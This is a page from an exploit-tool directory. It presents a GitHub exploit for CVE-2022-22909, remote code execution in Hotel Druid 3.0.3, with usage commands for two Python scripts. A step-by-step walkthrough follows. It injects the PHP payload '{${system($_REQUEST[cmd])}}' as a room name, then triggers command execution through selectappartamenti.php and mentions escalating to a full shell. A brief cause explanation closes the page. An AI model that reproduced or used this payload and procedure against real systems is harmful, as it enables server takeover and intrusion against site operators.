Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/kaal18/cve-2022-22909
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRemote Access Tool
GitHubkaal18/cve-2022-22909

CVE-2022-22909

Python-based exploit for Hotel Druid 3.0.3 Remote Code Execution (CVE-2022-22909). Injects PHP payloads via room names to achieve command execution and shell access on vulnerable targets.

View Repository
2424 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2022-22909 Hotel Druid 3.0.3 - Remote Code Execution (RCE)

Exploit by kaal

Exploits

  1. HotelDruidExploit.py

This Exploit will create new room with our PHP payload as a room name .

Usage : $ ./HotelDruidExploit.py -h

image

$ ./HotelDruidExploit.py -u http://127.0.0.1/hoteldruid

image


  1. HotelDruidExploitRoom.py

This Exploit will work if you already know the Room name .

Usage : $ ./HotelDruidExploitRoom.py -u "http://127.0.0.1/hoteldruid" -r "abc"

image


Exploit Walkthrough :

1). Navigate to Hotel Druid page.

2). Click on Tables -> Rooms

image

3). In Create New Room field add below php code , and click on Add.

{${system($_REQUEST[cmd])}}

image

4). You will see new room with our payload in the "Room" name field .

image

5). Go to below link and you will get command Execution , Later you can get Full shell

http://127.0.0.1/hoteldruid/dati/selectappartamenti.php?cmd=whoami

Note : Change the Ip with your hoteldruid target IP.

Vulnerability Description :

This vulnerability occurs because room names are getting stored inside /var/www/html/hoteldruid/dati/selectappartamenti.php

image

And selectappartamenti.php is a PHP file so any PHP code inside that file will get executed by the server.

Download Tool